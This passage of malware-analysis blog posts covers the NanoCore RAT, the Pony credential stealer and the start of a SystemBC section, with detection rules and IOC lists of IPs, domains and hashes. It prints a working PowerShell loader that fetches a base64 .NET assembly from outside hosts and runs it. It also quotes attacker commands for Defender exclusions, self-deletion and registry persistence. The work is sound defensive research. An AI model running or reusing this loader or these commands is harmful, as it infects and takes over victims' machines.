2CDA932F5A9DAFB0A328D0F9788BD89C64F8E1B825887AFE3130AF4BF4611C21A18D79E94229FDF02EF091CF974ED5463F63951399F8CD578E2A6FAED2C9C0F04EDC0EFE1FD24F4F9EA234B83FCAEB6AC2CBBD6E392A453A47DA69D086756E719F801240AF1124B66DEFCD4B4AE63F2AFD380DB23531BB7BB610A7B32FC2A6D5BD046164DAF3C30E265D4F9C6647F6307ca94d84f4a02fb1f608818c1c3ab62d11a6a4bfa63286feaeaf2c231ce769c3Adf426e30f8a3383c6696d2f142907d3F9a3a00b8772103ca109662b32d01934495afbc7ebae07d50c529c1bd5889f54491f619c358382872f87e1479c145a5e0c706908df97857255252837ac1b90c9D24cd19a50e6d574a0cfdfc07c6d22bb91[.]132[.]92[.]60138[.]124[.]184[.]174148[.]72[.]168[.]13148[.]72[.]171[.]171199[.]127[.]60[.]23645[.]227[.]254[.]2680[.]66[.]88[.]20391[.]240[.]118[.]29152[.]89[.]196[.]111194[.]26[.]29[.]102185[.]11[.]61[.]11423[.]83[.]133[.]10423[.]108[.]57[.]15164[.]44[.]102[.]19020[.]99[.]133[.]10920[.]99[.]185[.]4813[.]107[.]4[.]50192[.]229[.]211[.]10823[.]216[.]147[.]6423[.]216[.]147[.]7664[.]44[.]135[.]135162[.]159[.]130[.]233162[.]159[.]134[.]233162[.]159[.]133[.]233108[.]177[.]127[.]94108[.]177[.]119[.]95108[.]177[.]126[.]13223[.]106[.]215[.]21023[.]108[.]57[.]1157[.]254[.]194[.]9923[.]106[.]123[.]1523[.]82[.]140[.]1023[.]106[.]215[.]6423[.]108[.]57[.]24023[.]19[.]58[.]9423[.]108[.]57[.]9423[.]81[.]246[.]200108[.]62[.]118[.]19723[.]106[.]160[.]14123[.]106[.]223[.]200108[.]62[.]118[.]18023[.]82[.]140[.]122108[.]177[.]235[.]18764[.]44[.]102[.]20745[.]147[.]230[.]8364[.]44[.]102[.]13364[.]44[.]102[.]127108[.]62[.]141[.]24364[.]44[.]102[.]19108[.]62[.]118[.]13164[.]44[.]98[.]23223[.]108[.]57[.]213jotuhup[.]comzuvebeb[.]comceyuvigi[.]comnaporiz[.]comxafehot[.]comnatuzujut[.]compucaxejun[.]comnapajep[.]comnemucefah[.]comjotuhup[.]comjugiruturi[.]compijixepi[.]comjahojahi[.]comhakakebero[.]comvezawahoy[.]comsakogabu[.]comxamayojir[.]comtevokaxol[.]comdanimos[.]comvosuxizen[.]comlugociyah[.]comduladani[.]combukifide[.]comwijakezada[.]comyuzowul[.]comdehelibe[.]comyavahiyil[.]comrikukof[.]comrabihino[.]comtalulime[.]comhttp[:]//repairdll[.]net/jHKIOEyC/ 

📡This is not a déjà vu, this is an update and improvement of the NanoCore which I looked at years ago because my analysis seems to me very incomplete, and in addition we see how it has evolved and new versions of this malware have been released📡

NanoCore (also known as Nancrat) is considered a RAT (Remote Admin Tool), which is used to obtain relevant information from victims such as data from the affected computer, camera captures, keyboard input, etc. It also serves as remote control for the attacker, who will have the ability to manipulate the system, remotely execute scripts, etc.

It first appeared in 2012, and its author was sentenced to over two years in prison in 2017. The code for NanoCore has been leaked on several occasions throughout its versions, allowing different criminal groups like APT to use it at some point, potentially refining or adding functionalities. And undoubtedly, it has also been used by countless Script Kiddies.

NanoCore, therefore, has been used in a multitude of ways and has been notably seen in Spear-Phishing, where it is introduced in a document or in a ZIP/RAR file that triggers the execution of a loader or another malware that runs it. However, it has also been observed in the download of links for some software, trying to appear as a legitimate program, which ends up in the same situation as a download of a script or a ZIP containing a NancRAT loader.

As mentioned earlier, NanoCore has been used by various groups, which, given the functionality of the malware, would act in the intermediate phase of the attack where they already have access to the infrastructure and want relevant information and the ability to freely access it. Although a large number of campaigns using NanoCore in conjunction with other malware that could not be attributed have been seen, there is evidence of groups that have historically been seen using NanoCore:

• APT33 | RefinedKitten (🇮🇳)
• Gorgon Group (🇵🇰)
• Vendetta (🇹🇷)
• TA2719 (🏴)
• TA2722 (🏴)
• Aggah (🏴)

_Technical Analysis

As I mentioned earlier, actors often deploy NanoCore in different ways, although the most typical ones are the aforementioned Spear-Phishing where the file download is usually a ZIP/RAR or a document that will subsequently initiate the download or extract the RAT loader. A large number of these malware have been analyzed to understand how current versions work (not only NanoCore itself, but also the previous loaders that try to prevent you from knowing the real functionality). Therefore, the most common action after the execution of this step prior to the RAT is usually, depending on versions, the creation of auxiliary files or copies of itself in temporary paths and/or the injection of NanoCore into dropped files or simply into .NET-related software, which, once here, can work more freely. At different points, it will have the ability to create persistence in tasks or in registries and obtain basic information from the affected device that will be sent to the C&C.

As always, a representative view of most versions I have seen in the form of a graph that I hope will be useful is as follows:

As I mentioned, this is just a representative version because if we look at the execution, everything some of the samples do is quite chaotic, but we’ll address it shortly.

Although the main NanoCore is in .NET, the loaders are usually also in .NET or, failing that, in C++ or script format, with VBS being the most commonly seen.

As I mentioned, in the initial stages, it usually starts with Spear-Phishing, but I’ll skip this part as I have analyzed many docs in the past, and we’ll move on to the next phase where we already have a loader. Here, for example, we find .NET, unobfuscated or obfuscated depending on the version.

The truth is that they are really similar, and once deobfuscated, the versions are quite similar to each other (Green=Before, Red=After).

In these executions, we often see similar execution patterns where the main binary spawns a copy of itself and executes various commands using cmd.

This first layer actually has a clear objective, which is to extract another binary, which will be the injector, whose code is usually obfuscated in some way, but the good thing is that they haven’t been very clever, and the base64 could be easily extracted

Let me show you in detail what happens here by extracting it from memory

It actually didn’t make sense to extract it from memory because I was going to write it to a txt, but the excitement got to me (I have to be less geeky). So we see the content, and it indeed matched what I had extracted from memory and what I was writing to disk in the temporary folder

This binary (.NET) is quite easily recognizable as the injector due to the functions it contains. Furthermore, we can see that once again, they like to use Process Hollowing (But we’ll get to this layer later)

Something not all versions do is have a compilation phase. So, we can see that sometimes at this point, the binary that has been dropped in text format is passed through CSC + CVTRES. The summary of the operation would be the following graph, in which we can observe how it collects the txt that it just wrote and compiles it, getting it ready

I haven’t found too many samples with this section, so I found it interesting. In other versions, directly from memory, they perform the injection by extracting NanoCore. The truth is that the first layer doesn’t have much more to it. Depending on the versions, it prepares the injector or does what we just saw and prepares the next phase.

Following with this point, what’s extracted in memory, NanoCore has the ability to create persistence. So, we can see how, through cmd.exe, it executes a reg add to create an entry in CurrentVersion\RUN. Here, it’s common to find different duplications or copies of the loader binary in different folders. I understand they want to maximize persistence, so they persist differently and with identical files in different paths

A graph of persistence is as follows:

In one of these paths, where it has dropped a copy of the original binary, we find the typical .dat file, which is quite characteristic of NanoCore.

In addition to all this, this binary has other capabilities such as downloading other binaries or checking privileges

But the most important thing about this is really the injection because it will first have a module to see where it will host the next block of code. As we can see, it’s not very original, as most RATs that perform injection do it on these processes or on themselves (either in the form of executing a dropped copy or by extracting another thread from the main process when injected)

Before getting into the graph, it’s worth mentioning that it’s quite common for NanoCore to host it as another resource or it may have it obfuscated in memory and extract it at runtime before injection. Given what we’ve seen, we can already guess that what it’s going to inject is NanoCore.

It’s important to note that in most of the samples I’ve analyzed, at some point, whether in the script, in the C++ or .NET prior, or the injector or NanoCore itself, it’s obfuscated in some way to complicate analysis. So, the NanoCore client won’t be an exception (Green=After, Red=Before -I don’t know why I’ve done it the other way round here-)

The explanatory graph of the injection (Sorry if I haven’t explained here how Process Hollowing works but I’ve already explained it in other posts and I think I’m a bit annoying, you can find it in SmokeLoader):

Moving on to the third layer, we would have NanoCore, whose functionalities are very varied and also depend on the version.

What we can see more immediately is the self-deletion we mentioned earlier, which it does to itself (as well as killing the main process) in some versions because it no longer needs it. It has it distributed in different folders and has already created persistence. It’s injected into another process, so in case something fails or the device shuts down, the execution chain would restart, and it would inject one of the processes we’ve seen before, and we’d be back to the same point

For you to see it in conjunction, the deletion process:

It has different capabilities such as downloading, establishing connections, controlling registries and folders, acting as a keylogger, creating more persistence, etc.

I didn’t want to introduce other versions during the explanation because I think it complicates comprehension, but for you to compare with another sample and see that in the end, it does the same thing but with a different path.

Here we would have another sample in C++

We can see that the processes it follows are similar even though the compilation is different. We see how it extracts a binary, which would be the injector.

It also performs deobfuscation tasks where (As I mentioned earlier, it always does something like this in one of the phases) it deobfuscates the imports of the binary it’s going to use in memory. This isn’t so strange because it’s actually done so that when you run “strings” you don’t see other referenced imports and libraries, or simply because if you’re analyzing statically, you don’t notice that it might be something interesting

We really see that it does the same thing, an execution of an MSBuild that creates it in a suspended state because it injects the NanoCore code using Process Hollow

What it injects in the end is, as you can see, the same, even though the NanoCore isn’t the same and the path isn’t either, it’s VERY similar, and we end up in the same place.

Once again, we have to deobfuscate it to extract it

In script versions, we could say that we simply add one more layer to the previous version where an obfuscated VBS performs a normal download or simply deobfuscates the code of the first layer we analyzed before, which could be a .NET or a C++ that would act as a loader.

Here we can see the execution of a deobfuscated VBS that actually leads us to the download of the code that will simply position us in layer number 1 again. This code reminded me a lot of the BlindEagle campaign from last year because of the use of PNG + Pastebin

$imageUrl = 'https://wallpapercave[.]com/uwp/uwp4203994[.]png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste[.]ee/d/0VD04/0' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','MSBuild','desativado','desativado','desativado'))

I didn’t want to delve deeper because I realized when I was analyzing some VBS samples that Matthew (@embee_research) had done this work relatively recently, so I can’t see a better way to understand it than to watch his video. Great job, dude!

VBS Decoding With Cyberchef (Nanocore Loader)

After this, we only need to see how it behaves at the network level, but as it’s a RAT, obviously it simply sends requests and waits for responses from the C&C, but it helps us collect IOCs

An example of all these versions in a cooler/hacker view

• .NET

.├ Principal binary .NET (NanoCore Loader)├---Writes the injector in temp path (Contains NanoCore in Rsrc)├------Compile injector├-----------Persistence├----------------AutoDelete├----------------------Load Rsrc (NanoCore)├------------------------------Injection over itself or .NET sw├---------------------------------------C&C connection

• C++

.├ Principal binary C++ (NanoCore Loader)├-----------Persistence├----------------AutoDelete (Not all)├----------------------Load Rsrc Or Mem (NanoCore)├------------------------------Injection over itself or .NET sw├---------------------------------------C&C connection

• Script

.├ Principal VBS (Obfuscated)├---Wscript├------Powershell execution├-----------Obtain .NET from external web├----------------Create/Copy/Move script in tmp├----------------------Persistence├--------------------------Load .NET (NanoCore)├--------------------------------Injection over itself or .NET sw├-----------------------------------------C&C connection

At this point in NanoCore, it would already be installed, it would have persistence, and certainly it would be injected into a process that at first glance shouldn’t be found, so the attacker would already have the ability to connect to our device and work with it, pivot to other teams, etc

_NanoCore versions comparision

At this point, I encountered different versions of NanoCore, as there are several variants in the wild, so I was curious to see if they differed significantly from each other.

At first glance, it didn’t seem like they were very similar.

But breaking down the clients, we can see that they actually have almost the same functions.

The versions that were most repeated, as you can see, are 1.2.2.0 and 1.2.2.2. Both in functionality and in features, they are practically identical

We can see that where one is called GClass1, the equivalent in another version is GClass8, but the functionality is the same and the work it performs is also similar

The functionality of each function itself has been discussed earlier. It has the ability to delete, create users, act as a keylogger, turn on cameras, obtain files, logs, etc., but I think it will be better and more representative to see it in the following section.

_Intelligence

It is always important to be aware of what is happening, what is being discussed, or the trends of actors or, in this case, the malware that concerns us.

So we find people in underground forums selling or giving access to tools, among which NanoCore is included

We can also see people who want to understand or who have problems using NanoCore, or basically people recognizing the user because they had caught them attacking with a NanoCore (How crazy are these blogs :D).

At other times, we find people sharing the status of their NanoCore with affected computers, asking about its operation

On the other hand, we find various versions of NanoCore in forums and blogs where we can see more visually how it works.

First, it allows us to create the builder, which will carry the general connection characteristics it will have

Once a computer is infected (obviously, this is for academic use only; nobody should try it with another person), we can find it in our panel

In this panel, we will be able to access the functionalities we had seen earlier

You can do almost anything you can think of since you can control processes, files, users, logs, peripherals, launch commands, so it is an incredible support point to move through the network or simply to have control over devices. A summary of everything it can do would be as follows:

_Pivoting

At this point, I had collected a large number of IOCs, so although they are not from a specific incident, and it will be observed that they belong to different actors or attackers due to the significant difference in their infrastructure used, I believe it is always a good point and an essential source of knowledge to understand how TA/APTs have reached our infrastructure or what infrastructure they are using to establish communication or C&C. Therefore, this section, which I have learned and improved thanks to people like Michael @MichalKoczwara or Joshua @josh_penny, where we can see great work at @Intel_Ops_io, it’s amazing, thanks guys!

NanoCore has recently been trending with the use of dynamic domain name system (ddns) domains for C&C communications, which always makes tracking a bit more difficult. I think it is a good point to know a little more about this, and I just found a post from someone who explains it much better than I could, thanks John @Abjuri5t NanoCore RAT Hunting Guide.

Starting from an IP I found while analyzing samples, I found one hosted in the Netherlands whose ISP is Limenet. Pivoting, I found a large number of these hosted in Bulgaria, whose IPs in most cases were reported and related to NanoCore or other RATs. As I mentioned in previous points, attackers used other malware either to launch NanoCore or, depending on the victim, they used other RATs

Starting from another IP in Vietnam, I found through the ISP and port 137 others related to other RATs and NanoCore

I also found, by hash, by OS, or by ports, whose product was classified as NanoCore, another batch of related IPs, some of which were classified as NanoCore, although others were not even reported yet

The pivoting has been really long because I have found from where to pull other IPs that led me to other IPs and other hypotheses from where to pull the thread, like the one I am showing you right now from Sweden, all of which were self-signed and belonged to the same ISP

In conclusion, pivoting is really useful, and I recommend that you perfect it if, like me, you also like to know who is behind the attacks and from where they are spreading their tentacles.

Finally, I would like to thank you for reading this research and for supporting me :)

_Detection opportunities

Persistence

• [TA0003][T1547.001] Persistence using dropped files with reg.exe

(Command) *cmd.exe*/c*reg add*\Software\Microsoft\Windows\CurrentVersion\Run*/f /v*/t REG_SZ /d*(Registry) *\SOFTWARE\Microsoft\Windows\CurrentVersion\Run > (RegName) NAT Host | sys-win32 > (RegData) *NAT Host* | *\Documents\*.exe

• [TA0003][T1053] Persistence on tasks using tmp dropped file

(Command) schtasks.exe*/create /f /tn*Host*/xml*AppData*.tmp*

Defense Evasion

• [TA0005][T1070.004] Delete principal binary and kill process with cmd

(Command) *cmd.exe*/C taskkill /f /im*& ping -n 1 -w 3000 1.1.1.1 & type nul >*& del /f /q*

• [TA0005][T1562] Create exclusion path in dropped files folders

(Command) *powershell.exe*Add-MpPreference -ExclusionPath*-Force

• [TA0005][T1055.012] Process injection over .NET files, taskmgr or itself

From unk file > injection > MSBuild  | RegAsm |  vbc | cvtres | applaunch | taskmgr | same unk proc.

Collection

• [TA0009][T1074] Create a .dat file in temporary file with CLSID pattern

(Folder Regex) \\AppData\\Roaming\\.*\w{8,9}\-\w{3,4}\-\w{3,4}\-\w{3,4}\-\w{9,13}  > (File Write into prev. path) run.dat

Command & Control

• [TA0011][T1568] Connection via injected process to a DDNS

Unk proc injected | .NET injected > External conection > (Domain) *.ddns* | *duckdns* | *hopto*

_IOC

• Hash

B0E8EDEB5CBF2DF69257C01F323E9EB8206547178c018a7f4db353375eb0f8e618a14e17a10caea0050d85f6d977f58fB3CFEBDCB947EB0E4535AE55139ED7F7B501CEF7B6C863A20ADD0EB45D69FD380531AEDA97ECFBB12A8CC39DA530877B64856b16c1282d184f528bbbf603af922BCAB6A5802BFBFF17223862CBDB10E731deabb123e9965fbc81236113dfad080f41a135573fcbcc4f1b36684527438a2bcab6a5802bfbff17223862cbdb10e77b249a96beab0ab4154778013da0071d49fa1594271555f95aa333030802dea06b1adef13c5f6eddb7d995999ba1d406

• IP/Domain

High: Those I have found from samples or pivoting from NanoCore by launching requests to these domains/Ips

Medium: Pivoted IP/Domains that are related to other malware and potentially with NanoCore

Low: Very similar IFRs that are related to other malicious malwares

High104[.]22[.]53[.]7194[.]156[.]69[.]145222[.]114[.]183[.]144139[.]84[.]139[.]2973[.]225[.]6[.]15591[.]92[.]253[.]74192[.]169[.]69[.]26209[.]25[.]141[.]18145[.]76[.]118[.]7185[.]244[.]30[.]238103[.]153[.]78[.]43194[.]68[.]59[.]60185[.]244[.]30[.]212185[.]244[.]30[.]128185[.]244[.]30[.]247136[.]243[.]111[.]7174[.]77[.]124[.]10443[.]155[.]118[.]60194[.]33[.]191[.]126149[.]56[.]101[.]4294[.]156[.]69[.]3750[.]3[.]70[.]19138[.]146[.]219[.]23241[.]68[.]133[.]39185[.]29[.]11[.]37194[.]147[.]140[.]141194[.]147[.]140[.]151seeno[.]hopto[.]orgwallpapercave[.]comcustomcheats[.]ddns[.]netdecember2nd[.]ddns[.]netdecember2n[.]duckdns[.]orgkgj112233[.]codns[.]commaxlogs[.]webhop[.]meBaggard437[.]ddns[.]netdriver-computational[.]at[.]ply[.]ggvictacking[.]ddns[.]netstrongodss[.]ddns[.]netalexwill[.]ddns[.]netemedoo[.]ddns[.]netxp18[.]ddns[.]netjiiihihihiguuhhgygygtdtdtgdsdxfulllbb[.]ydns[.]euMedium91[.]92[.]243[.]7191[.]92[.]253[.]23691[.]92[.]243[.]17891[.]92[.]252[.]19294[.]156[.]71[.]21291[.]92[.]241[.]16391[.]92[.]250[.]11991[.]92[.]251[.]19891[.]92[.]241[.]58185[.]244[.]30[.]80103[.]153[.]79[.]164103[.]153[.]78[.]182103[.]153[.]79[.]210103[.]153[.]78[.]93103[.]153[.]78[.]214103[.]153[.]78[.]59185[.]189[.]49[.]67185[.]189[.]50[.]129194[.]68[.]59[.]65185[.]189[.]51[.]65194[.]68[.]59[.]51194[.]68[.]59[.]60194[.]68[.]59[.]7186[.]107[.]103[.]43167[.]114[.]9[.]80167[.]114[.]9[.]81167[.]114[.]9[.]82167[.]114[.]9[.]84Low94[.]156[.]69[.]23291[.]92[.]250[.]52

Pony (also known as Fareit or Siplog) is a malware categorized as a loader and stealer, although it is also used as a botnet, being a tool that has been used for more than 10 years and is still in use. This infamous malware continues to receive updates and can be purchased, and has been involved in information theft or used to launch other malwares during attacks on victim infrastructures.

Given that this malware has such a long history (yes, 10 years in cyber is a lot), the methods of use and execution of Pony have varied, as it has depended on who has used it, whether they are more or less organized groups. It has typically been seen in phishing campaigns where a typical message in the language of the targeted country was introduced, simulating some kind of urgency, or alternatively, attacked web pages have been seen where download links have been replaced by a Fareit loader or directly the execution of it. Pony has also been notorious in exploit kits or in fake programs where trying to download the free version of something would gift you with a malware disguised as a small horse.

Pony has been seen used by various groups, usually related to crime, whose general objective is usually to obtain money, and whose functionality of stealing data, persisting, and also the possibility of being used as a bot, is tremendously useful. Obviously, most cases of the use of this type of tool cannot be associated with groups, and years ago the code of Pony versions was leaked, which increased its use both in organized and less organized groups. However, when incidents are observed in which an actor interacts with tools typical of a group or with a characteristic kill chain with methodologies that have been used before, it helps us to place these tools also in their use in more organized groups. Therefore, the groups of this type that have been seen using Fareit are as follows:

• Cobalt Group ( 🇷🇺 )
• Gold Evergreen | TA505 | GracefulSpider ( 🇷🇺 )
• Gold Galleon ( Suspected 🇳🇬 )
• Gold Essex | TA544 | NarwhalSpider ( 🏴 )

_Technical Analysis

As I mentioned earlier, actors who normally use Pony can launch it in various ways, with the aim of having the loader or the file downloaded with more or less intent. The next step will depend on the origin, with a document launching a preliminary version or a ZIP/RAR containing a supposed software or important document that we have downloaded. After this, except for some versions that use scripts to launch Pony, we will have the main execution of the malware. As usual, there are different versions coexisting that in their core are practically the same, but hide peculiarities that change the execution approach and, of course, the understanding and detection of the malware.

In this graph, I try to depict the synthesis of most of the functionalities of Pony that I found months ago:

As I mentioned, I have launched and analyzed a large number of different samples, and I’ll leave you some examples of how their execution would look like here, representing the most typical ones. In most samples, they make changes to network registries to have smooth communication with suspicious domains or to prevent the system from alerting about any unusual communication or traffic that would be denied by default

Getting into the specifics, the first thing we can see is directly how information is obtained from the system, or conversely, how auxiliary files or copies of the main file are started in other paths

On occasions, I have encountered samples that focus heavily on what some RATs do, which I have seen many times, which is the abuse of legitimate .NET tools where they inject or load modules into them to remain hidden. (This time, you might want to enjoy playing The Witcher, and you’d encounter an interesting problem)

When launching auxiliary files or copies of the main file, it usually deletes the original file by running a .BAT, which in most cases, if not all, is identical:

When we take a closer look at the samples, most of them are usually .NET, although I have encountered other compilers, packed versions, but the one that abounds is usually .NET. What we usually see is how it handles large strings, which is usually another binary

Basically, what it does is pass it through a function to extract the binary.

A representative chart of everything together would be the following:

As you can see, I’ve called it “Load Module”, initially, I thought it performed several concatenated injections, something I’ve seen before. In this case, it’s interesting because what it extracts in memory, as you can see, has Anti-Analysis techniques, potential for injection (we see Unmap, so we can guess it will do ProcessHollow), and more functions

This module, once it is already loaded (S is the secondary), we can see it in the main (with socru being the main).

In the end, the module is another .NET that will be hosted within the main one and will expand the functionalities of the first. These techniques are ultimately used to not be able to understand the intentions of the initial sample and to make detection more difficult

In some other samples, it practically does the same work to extract it, but the module is more or less obfuscated, but the functionality does not change. I was really lucky because the first samples I analyzed were not obfuscated, which later helps you understand the functionality of the samples and have a more discerning eye.

An example of these obfuscated samples that ultimately do the same thing:

_Loaded Module

This module, which is actually running after the first one, means that we don’t see the original binary spawning anything at first glance; we only see it working

After this, it starts creating folders to launch the subsequent files that we have seen before. We will see them in more detail later, but the one with less weight (12KB) is an auxiliary file that only takes care of persistence and searching for the base file to restart execution, which in this case is the one with more weight (304KB), which is nothing more than an identical copy of the file we initially downloaded

As I mentioned earlier, it has various basic Anti-Sandbox and Anti-VM techniques, which ultimately involve making requests to know the video controller we have. If we are emulating a machine, they will typically have strings from VirtualBox or VMWARE. In the other case, it involves capturing running processes and seeing if any of them are related to tools it doesn’t like, which is quite common

The summary of these would be as follows:

Continuing with the thread, we would see how it copies itself. This doesn’t always happen because, as I mentioned earlier, sometimes it uses direct loading or injection onto .NET processes (like the one we saw before with The Witcher)

After this, it has a copy of itself and has increased its capabilities, but the next step is to perform an injection on itself. Here we see that it has different options, which in our case leads to self-injection, as it searches for “Filename” but has the ability to inject into other .NET-related processes

Examples of posible .NET-related process:

vbc.exeAppLaunch.exeMSBuild.exeinstallutil.exeregasm.exeaspnet_compiler.exeregsvcs.exe

As we suspected earlier, it performs Process Hollowing since it has the ability to remove data from the target process, reserve space in it, and insert code

In the end, what we see is how it resolves the header and suspends a process, in this case, itself, in another thread to inject the code. As we can see, it has imports related to UPX, but we’ll see this later

The summary of all this work is shown in another graph:

When it performs the injection, it launches the auxiliary file I mentioned earlier, which supports it, and kills the main process. Also, here it executes the .BAT in some samples for self-deletion

_Aux file

In this auxiliary file, as I mentioned, it takes care of persistence and restarting execution, so it will simply be a file that will be in charge of restarting the whole cycle again, executing the copy that it will have launched in some folder, restarting the module loading, the injection, and so on, so we see how it executes it.

And how it creates persistence from this auxiliary file

Depending on the samples, persistence is carried out in one key or another, and it also depends on some occasions on the module loaded into memory, as it already has the ability to persist because it does not have an auxiliary file. So, the summary is as follows:

Here I have tried to go step by step from when I take a first sample and develop all its functionality in order, but we are missing a step because the thread has followed this logic:

.
├ (Parentprc) Principal binary < DONE
├ (Parentprc) (Load in runtime) Load new module < DONE
├ (Parentprc) New capabilities at ppal binary < DONE
|————├ (Childprc) (Injected) Injection of new code (?)

_Payload

We had mentioned that it injects new code, but during the analysis, we had not been able to look at this, so when extracted manually, we obtain a sample in UPX.

Once the unpack is done (well unpack, it pains me to consider UPX as a packer out of respect for true geniuses I have been lucky enough to know who have collaborated on packers that are works of art, but in practice it is a packer :D ). This code is responsible for establishing communication with the C&C. It has interesting modules to handle users, establish communication, or also write files. So, in the end, the attacker can launch more malware from outside or have quite extensive control with a network channel

Here we find countless references to FTP, search engines, email, etc. That we will see it obtains during runtime once the injection has been done.

Also, in some samples, we find directly the URL with which it will establish communication, which will also be the Pony portal

Unfortunately, the panel in the samples I was looking at was already down. It’s quite curious because, as I mentioned at the beginning, more than half of the samples referenced legitimate company websites that had been exploited and had their Pony panel inserted. This is a fairly high percentage, and I found it curious because I also found companies that had experienced this situation and had open directories. Anyway, for your reference, here’s how the login panel usually looks, maintaining the same structure:

<ip/domain>*/gate.php|admin.php

In the end, what we see is how it makes requests via registry or files to a large number of software that it will later exfiltrate.

The summary graph of several samples is as follows:

More or less usually steals similar things, FTP, tools related with passw, browsers, and so on.This is usually done either by looking in the configuration files of the softwares or by looking in the registry as I said before. Here’s a list of what most closely matched the samples I have seen

Windows commanderTotalCommanderLeapWareMartin Prikryl / WinSCPNetDriveWS_FTPCuteFTPQCToolbarFlashFXPFilezillaBullet Proof FTPSmartFTPTurboFTPFFFTPCOREFTPVanDyke SecureFXFTP RushBitKinexExpanDriveClassicFTPLeapFTPLeechFTPNovaFTPFlashFXPWS_FTPOperaMozillaChromeAceBITRhinoSoftWindows Live MailPocoMailBatMail

I have reached the point of injecting the payload in different samples, but to no one’s surprise, it was quite similar in terms of loaded functions, strings (there are many more in one, but it’s due to the extraction), in short, the core of the payload was very similar in all of them.

This can also be seen more simply when it injects into .NET processes

_Summary

As I mentioned, there are various samples, but most of them rely on an auxiliary file to maintain persistence, whose path tends to change quite a bit and serves as a loader for a copy of the main binary that will be launched in some location, which is also variable. At this point, it usually loads another module, either into itself, into another file, or into one related to .NET, which serves to increase capabilities and then perform injection at runtime. After this, it establishes communication after stealing data from different software, as well as basic system and/or user information. It is quite common in the use of Pony that the target websites where it communicates are websites that have been previously exploited due to poor security management, so it also helps in its concealment that it actually communicates with a school or university website (Yes, I’ve seen them in Pony too). The downside of this is that the paths established by the attacker where the panel is installed tend to fall quite quickly, making it difficult to pivot and store IOCs because they are very variable and often related to legitimate websites

_Outro

I also checked in underground markets and forums, and it’s interesting that there are quite old posts where it is promoted a bit and how people are still in that thread asking for certain functionalities or software expansions

Finally, I would like to thank you for reading this analysis and for supporting me :)

_Detection Oportunities

Execution

• [TA0002][T1059.005] Loader in VBS of pony executed via wscript

(Command)*WScript.exe*\AppData\Local\Temp\*\*.vbs

Persistence

• [TA0003][T1547.001] Persistence using dropped files in temporary folders in diferent registry keys

(Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Load  (Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 

Defense Evasion

• [TA0005][T1070.004] Delete file using .BAT

(Command)cmd.exe /c*C:\Users\user\AppData\Local\Temp\*.bat*csc.exe* 

• [TA0005][T1036] Paths used to drop auxiliar files or copies of original binary

(Path)C:\Users\user\AppData\Local\Temp\*.bat|.exe(Path)C:\Users\user\AppData\Roaming\Microsoft\*.bat|.exe(Path)C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\*.bat|.exe

• [TA0005][T1055.012] Process injection

From file in temporary folder > injection > csc/MSBuild From file in temporary folder > injection > Other unidentified file in same temporary path

_IOC

1a1dc33fae444afdd54f6f50dd47ed4b9f673fbc5595dad7b48e78cac04584656a581c0c07ceb888ea418fccffd5efba33b9fd6561be1bcf90b0d6ba4deefd05442b8223413bc9b08a5983da23c5964839b1551ab4a84759d94dc5c9a228eacc 0db43ad0ab0735bf0b84fb780e5e075b0c61c8e884d678430c2324d692afae4b3887d3d133504bb41d03e8fd96539c38c3accaf5aa97f2948599a473800d0befC1be3c17f856344daf7ab2ad08074e94145f371698f52bc93b5dde4030c53f62 F3c2d287c23bc90e0185b416d9e3d0469f4c4eaa21aecd1835061f3677bee67f C61AF2853F0E94D65ECA09CEA4E00DE29A10F03518B0729E859739FD4FFFD08De9772b945a731b447725680b8ef8b8252c2bb19931005718a8711ae527d532ba63c825619e3cff8843b7ef1d81b493fa1addc20c548ac98010acc6afd254351a

SystemBC, also known as Coroxy or DroxiDat, is a malware categorized as Proxy malware, a Bot, a backdoor, and even a RAT, as its uses can be diverse depending on the attacker, making it a versatile tool for Threat Actors. Active since 2018, it has gained significant popularity, finding a warm reception in underground markets where it can be purchased, and its interest has not waned. Incidents involving its usage are recorded annually.

Coroxy achieves execution on target systems through various methods, depending on the group using it. Recorded attacks have involved reconnaissance phases, lateral movement, and the deployment of SystemBC, often complemented with CobaltStrike. In other cases, it has been employed in campaigns through Spear-Phishing, where it is delivered and installed on the victim’s system via loaders or other malware. While the malware’s methodology has evolved, its core functionality remains consistent. In most versions of SystemBC, it seeks to gather system and user information, establish persistence, and then create a Socks5 connection with the Command and Control (C&C) server, transmitting basic information, and waiting for commands or the launch of other malware by the attacker. This provides a backdoor for the attacker to operate from their infrastructure.

As mentioned earlier, numerous groups have been associated with the use of SystemBC over the years. These groups, with many linked to ransomware activities, include:

• ViceSociety
• Rhysida
• GoldDupont
• FIN12
• 8BASE
• PLAY
• Hive
• BlackBasta
• TropicalScoprious (CUBA)
• RiddleSpider (Avaddon)
• WizardSpider (Conti, Ryuk)
• Egregor
• DarkSide
• Maze Team (Maze & IcedID)

_Technical Analysis

As previously mentioned, access to the infrastructure and the subsequent use of SystemBC will significantly vary depending on the attacker. Nevertheless, a vast number of samples have been studied, and despite many differences among them, the core functionality remains consistent.

Hence, an illustrative diagram of how it operates based on the conducted research is provided:

As mentioned, an extensive analysis of multiple samples has been conducted, and you can find the full report below. However, for those who may not have the time (or inclination) to read 50 pages, the following summary might be helpful.

In the initial execution of one of the samples, what is typically found is the establishment of persistence, either through tasks or more noticeable registry keys, along with the creation of a duplicate of the same SystemBC

It’s worth noting that some samples, when not accompanied by a loader or another malware that downloads them, might employ a packer or require runtime deobfuscation or extraction. For instance, I encountered a few samples that I had to extract from memory to obtain the SystemBC.

